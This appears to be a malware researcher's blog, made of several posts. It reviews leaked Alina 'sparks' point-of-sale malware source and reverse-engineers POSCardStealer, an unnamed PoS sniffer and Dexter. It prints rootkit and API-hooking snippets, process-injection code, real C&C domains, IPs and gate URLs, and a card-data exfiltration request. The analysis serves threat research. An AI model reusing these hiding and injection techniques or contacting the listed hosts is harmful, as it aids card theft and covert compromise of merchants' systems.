Alina 'sparks' source code review

I got on my hands recently the source code of Alina "sparks", the main 'improvement' that everyone is talking about and make the price of this malware rise is the rootkit feature.
Josh Grunzweig did already an interesting coverage of a sample, but what worth this new version ?

InjectedDLL.c from the source is a Chinese copy-paste of http://www.cnblogs.com/lzjsky/archive/2010/12/01/1892702.html and commented out, replaced with two kernel32 hooks instead, like if the author cannot into hooks :D
a comment is still in Chinese as you can see on the screenshot.

+ this:

LONG WINAPI RegEnumValueAHook(HKEY hKey, DWORD dwIndex, LPTSTR lpValueName,LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
{
LONG Result = RegEnumValueANext(hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData);
if (StrCaseCompare(HIDDEN_REGISTRY_ENTRY, lpValueName) == 0)
{
Result = RegEnumValueWNext(hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData);
}
return Result;
}

...

// Registry Value Hiding
Win32HookAPI("advapi32.dll", "RegEnumValueA", (void *) RegEnumValueAHook, (void *) &RegEnumValueANext);
Win32HookAPI("advapi32.dll", "RegEnumValueW", (void *) RegEnumValueWHook, (void *) &RegEnumValueWNext);

So many stupid mistakes in the code, no sanity checks in hooks, nothing stable.
Haven't looked at a sample in the wild but i doubt it work anyhow.
Actual rootkit source (body stored as hex array in RootkitDriver.inc c:\drivers\test\objchk_win7_x86\i386\ssdthook.pdb) is not included in this pack of crap.

This x86-32 driver is responsible for NtQuerySystemInformation, NtEnumerateValueKey, NtQueryDirectoryFile SSDT hooking.
Driver is ridiculously simple:

NTSTATUS NTAPI DrvMain(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  DriverObject->DriverUnload = (PDRIVER_UNLOAD)UnloadProc;
  BuildMdlForSSDT();
  InitStrings();
  SetHooks();
  return STATUS_SUCCESS;
}

BOOL SetHooks()
{
  if ( !NtQuerySystemInformationOrig )
    NtQuerySystemInformationOrig = HookProc(ZwQuerySystemInformation, NtQuerySystemInformationHook);
  if ( !NtEnumerateValueKeyOrig )
    NtEnumerateValueKeyOrig = HookProc(ZwEnumerateValueKey, NtEnumerateValueKeyHook);
  if ( !NtQueryDirectoryFileOrig )
    NtQueryDirectoryFileOrig = HookProc(ZwQueryDirectoryFile, NtQueryDirectoryFileHook);
  return TRUE;
}

All of them hide 'windefender' target process, file, registry.

void InitStrings()
{
  RtlInitUnicodeString((PUNICODE_STRING)&WindefenderProcessString, L"windefender.exe");
  RtlInitUnicodeString(&WindefenderFileString, L"windefender.exe");
  RtlInitUnicodeString(&WindefenderRegistryString, L"windefender");
}

It's the malware name, Josh pointed also in this direction on his analysis.
First submitted on VT the 2013-10-17 17:27:10 UTC ( 1 year, 2 months ago )
https://www.virustotal.com/en/file/905170f460583ae9082f772e64d7856b8f609078af9823e9921331852fd07573/analysis/1421046545/

Overall that dll seems unusued, alina project uses driver i mentioned.
As for project itself, it's still an awful piece of students lab work, here is some log just from attempt to compile:

source\grab\base.cpp(78)

If SHGetSpecialFolderPath returns FALSE, strcat to SourceFilePath will be used anyway.

Two copy-pasted methods with same mistake:

source\grab\base.cpp(298)
source\grab\base.cpp(433)

Leaking process information handle pi.hProcess.

Using hKey from failed function call:

source\grab\base.cpp(316):
if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0L,  KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) {
      RegCloseKey(hKey);

pThread could be NULL, this is checked only in WriteProcessMemory but not in CreateRemoteThread:

source\grab\monitoringthread.cpp(110):
LPVOID pThread = VirtualAllocEx(hProcess, NULL, ShellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pThread != NULL) WriteProcessMemory(hProcess, pThread, Shellcode, ShellcodeLen, &BytesWritten);
HANDLE ThreadHandle =  CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pThread, NULL, 0, &TID);

Where hwid declared as char hwid[8];
Reading invalid data from hdr->hwid: the readable size is 8 bytes, but 18 bytes may be read:

source\grab\panelrequest.cpp(73):
memcpy(outkey, hdr->hwid, 18);

Realloc might return null pointer: assigning null pointer to buf, which is passed as an argument to realloc, will cause the original memory block to be leaked:

source\grab\panelrequest.cpp(173)

The prior call to strncpy might not zero-terminate string Result:

source\grab\scanner.cpp(159)

Return value of ReadFile ignored. If it will fail anywhere code will be corrupted as cmd variable is not initialized:

source\grab\watcher.cpp(61)
source\grab\watcher.cpp(64)
source\grab\watcher.cpp(71)

Signed unsigned mismatch:

source\grab\rootkitinstaller.cpp(47)

Unreferenced local variable hResult:

source\grab\base.cpp(158)

Using TerminateThread does not allow proper thread clean up:

source\grab\watcher.cpp(125)

Now related to 'editions' sparks have some, for examples the pipes, mutexes, user-agents, process black-list but most of these editions are minors things that anybody can do to 'customise' his own bot.
In any case that can count as a code addition or something 'new'
For the panel... well it's like the bot, nothing changed at all.
It's still the same ugly design, still the same files with same modifications timestamp, no code addition, still the same cookie auth crap like if the coder can't use session in php and so on...

To conclude, the main improvement is a copy/pasted rootkit who don't work, i don't know how many bad guys bought this source for 1k or more but that definitely not worth it.
Overall it's a good example of how people can take a code, announce a rootkit to impress and play everything on malware notoriety.
This remind me the guys who announced IceIX on malware forums and finally the samples was just a basic ZeuS with broken improvements.

Hi Benson.

Win32/Spy.POSCardStealer.O and unknown POS Sniffer

Finally some new stuff (hmm, no)
Let's talk about Win32/Spy.POSCardStealer.O identified by ESET.
It's pretty lame but let's see it anyway.

On the first procedure the malware will register a reg key in HKLM with 'HDebugger'

And start to search for track2:

Then he call the C&C (hoqou.su/forum.php):

• dns: 1 ›› ip: 62.173.149.140 - adresse: HOQOU.SU

Do a sleep of 120000 ms (2 minutes):

And redo into the track2 research procedure.
When finaly something is found the malware took the PID of the program, the process name and the mem adress:

Then he send it to the C&C...

POST req example:
%5BPID%201224%20%28MSR.exe%29%5D%0D%0A%20ADDR%20000B2F90%3A%20%224111111111111111%3D13071010000000000666%22%0D%0A%5BEOF%5D%0D%0A

This malware can't receive orders, and don't have a special mechanism.
On another sample, i've found another domain: rolex216.8s.nl/go/go.php
• dns: 1 ›› ip: 41.223.53.155 - adresse: ROLEX216.8S.NL

This malware was downloaded from a downloader who now download another malware who brute force wordpress sites (maybe i will talk about this one soon).

Still with POS Malware a 'new' threat (Detected only with generic signatures) appeared.
https://www.virustotal.com/fr/file/746cb8cf77b0b00f14c424731948d8fc13378978d193d75f944b12c25e98e0e2/analysis/1376958328/
I got this sample since august from a guys who found this on his POS systems.
In 3 months there is still no one who have do an accurate signature.

At first he will create two directories 'System\Hidden' inside %APPDATA%\Microsoft\Windows

Do a directory test to know from where the executable is launched:

Copy the EXE and launch the copy:

A registry key "Svchost-Windows-Redquired" is created for persistence

Enter in a procedure to remove the original file:

/c del C:\DOCUME~1\ADMINI~1\Bureau\svchost.exe >> NUL
And as excepted send a exit code just after...

So what's do the fresh copy inside the 'good' folder ?
Firstly he take the jump due to the directory test.

On the procedure he will compute a string based on GetSystemFileTime, then he start to enumerate process.
He will open them one by one, read the memory and look for track 2 in a subroutine.

Usual stuff.
They search by partern from the second part of tracks 2 '=13' '=14' '=15' etc..

A file 'Sys.dll' is created:

timestamped with

(encoded)
And wrote:

Do a sleep of 450000 ms (7 1/2 minutes)

if a dump is found the dump is encoded:

And wrote in Sys.dll.

Then they are sent one by one to the C&C:

http://mcsup.cc/8edf4bc26f9c526ff846c9068f387dac/?update=daily&random=563245325050324532495458495358
http://mcsup.cc/8edf4bc26f9c526ff846c9068f387dac/redirect.php
http://mcsup.cc/8edf4bc26f9c526ff846c9068f387dac/website.php
5.9.96.235
The md5 hash '8edf4bc26f9c526ff846c9068f387dac' is 'zabeat'

Point-of-Sale Malware: Infostealer.Dexter

Haven't posted since a while so let's do something...
Back on some old material, due to a 'recent' compromission of off-sho.re servers, and the circulation between AVs of Cyberbunker sinkholes logs. (Especially the Alina connections was interesting, but that not the topic)
Did you remember Dexter ? nah not the TV Series, but the PoS Malware.
Systems infected by Dexter are various in our case (gas stations, pawn shops, logistics, luxury shops, doctors, clinics, pharma, labs,  etc...)
This malware was coded by a guys know as 'dice' (there was an advert on Darkode made by him around November 2012 if i remember, but he requested an admin to remove the thread so it's not anymore available)
Visa USA have released an alert one month after.

 Sample who come from the compromised server:

Let's see so, i will avoid you the Visual Basic 6 unpacking step, if you want the hashs.
Original: bb0b17c2f66a868cf1e8a46626366a32
Depack: e74593552b66a4638b80a4fbf2fb7438

Create a mutex:

Determine if we are under x64:

Creat a suspended process of IE:

Copy the EXE in memory:

WriteProcess Memory on Internet Explorer with the content of the exe:

Then he a do a CreateRemoteThread on IE and ExitThread on this process.

 Ok, what's happend with the injected IE ?

I've patched the executable by taking some jumps he have not took at the begining to make it think we are in IE and see what's happend.

Create a subkey 'HelperSolutions Software':

Create a folder %APPDATA%/Java Security Plugin then CopyFile and do a DeleteFile on the original exe.

Do a RegCreateKey/RegSetValue/RegCloseKey with 'digit' as registry entry and 'cc98afca-1a04-4c5d-80cf-1cc78244b63e' as value for me.

Create a registry persistance 'Sun Java Security Plugin':

Do the same but this time in HKCU:

Create another registry entry but this time:
HKCU Software\Microsoft\Windows\CurrentVersion\Policies\Associations
With 'LowRiskFileTypes' and '.exe;.bat;.reg;.vbs;' as value

The 'Policies\Associations' subkey lets you manage the default risk level for file attachments (Low-risk/Medium-risk/High-risk file types)
The attachment manager in windows can help protect your computer from unsafe attachments that you might receive with an e-mail message and from unsafe files that you might save from the Internet.

Edit a value at HKCU: Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
Registry entry '1806' and '0' as value

'1806' is the registry entry about launching applications and unsafe files in internet explorer.
The value can be zero, one, or three, typically, a setting of zero sets a specific action as permitted, a setting of one causes a prompt to appear and a setting of three prohibits the specific action.

Do the same operation but in HKLM this time:

The file initialyse a thread:

Extract a ressource:

Create a DLL 'SecureDll.dll' with the extracted ressource and attribute Hidden:

Load the dll:

Create a path:

Create a reg key at Software\HelperSolutions Software
'val1' and with value 'C:\Documents and Settings\Administrateur\Bureau\strokes.log'

Create a second reg key at Software\HelperSolutions Software
 'val2' and with value 'C:\Documents and Settings\Administrateur\Bureau\tmp.log'

Hook the keyboard:

 Refer to the MSDN for explanation:

Okay... let's have a look on what's this SecureDll.dll do, seem it's not that secure.
Look for previous reg key:

 val1 and val2.

Look for some specific process who run on the system:

 Here is a list:
wmiprvse.exe (Microsoft Windows Management Instrumentation)
LogonUI.exe (Windows LogOn User Interface)
svchost.exe (Service Host Process)
iexplore.exe (Internet Explorer)
explorer.exe (generic Windows process)
System (Internal Windows system process)
smss.exe (Session Management Subsystem)
csrss.exe (Client/Server Runtime Subsystem)
winlogon.exe (Windows LogOn Process)
lsass.exe Local (Security Authority Subsystem Service)
spoolsv.exe (Printer Spooler Service)
alg.exe (Application Layer Gateway)
wuauclt.exe (Windows Update client for WindowsME)
firefox.exe
chrome.exe
devenv.exe (Microsoft Visual Studio)

Then he start to open process and look for track1/2/3

And when finaly something is detected:

 Make it as string:

After looking at all process he will create some threads:

The first will just do a new scan of process.
Second thread make sure everything is ok with the registry key 'run'
Tree do a loop
4 detect if the pc will got shutdown (i've not looked but DetectShutdownClass seem enought explicit)

Then he start to enter in a procedure to call home:

Get user name:

Get the computer name:

Get the OS version:

Architecture:

Retrieve the string used to identify the machine who was stored on the registry database
(cc98afca-1a04-4c5d-80cf-1cc78244b63e)
Open strokes.log and read it

Then Delete it:

Read the content of tmp.log:

Enter in a decode routine:

Create a file Debug.log:

Write it:

And delete tmp.log:

Take our hwid and enter on the routine to code it:

Then he will do that again but with the process name he grabbed tracks info, take also pc infos etc...

From the original source code:

At the end we have a huge strings like:
page=RUUZTk9FSURRTk1OHVFIGBhJUUQYRUpRSkQaTUwYSUhNTx0f&ump=ACgZHREqFRkLGQ4jLxkOChUfGVIZBBlGR0hNTU1NTU1NTU1NTU1NTU1BTU9MS01MTUxMTExMTExMTExKSkpDWT5ITU1NTU1NTU1NTU1NTU1NIiQlMDU+MyRTMD0+L1wxLiJNT0xLTUxNTExMTExMTExMTExMTExMTExMTExKSkpMTE
C&C domain and gate path are given via pointers due to the internet explorer injection.

After having called the gateway, then Dexter do a 600000 ms sleep (10 mins):

And do the shit again, then re-call home each 10 mins.

Now about the C&C responses, i noticed these actions
update-
chekin:
scanin:
unistall
download-

I've not searched how works the following commands, Josh Grunzweig of SpiderLabs already explained it.
So... enough boring reversing infos, let's have a look on the panel now.

Login:

Dashboard:

More than 3000 bots, most of them are commercial machines.

Like Alina, Dexter use colors code, dead bots appear in red and recent dead bots in blue:

Dumps (stolen credit cards):

Keylogger logs (here, that seem to be a UPS dispatch center, or something like this):

Process viewer (not working):

Another but small Dexter panel:

I've found also an older version of Dexter, i thought it was Alina at first but nope, Dexter v1:

Dashboard:

Dumps:

Bots:

Process list (this time it work):

Uploader was not found due to a programming error:

Dexter 'v2' C&C structure:

Just ignore the 'installer' folder that something homemade for a video PoC.

Get track type function:

That even grab track3.

600 posts reached ;)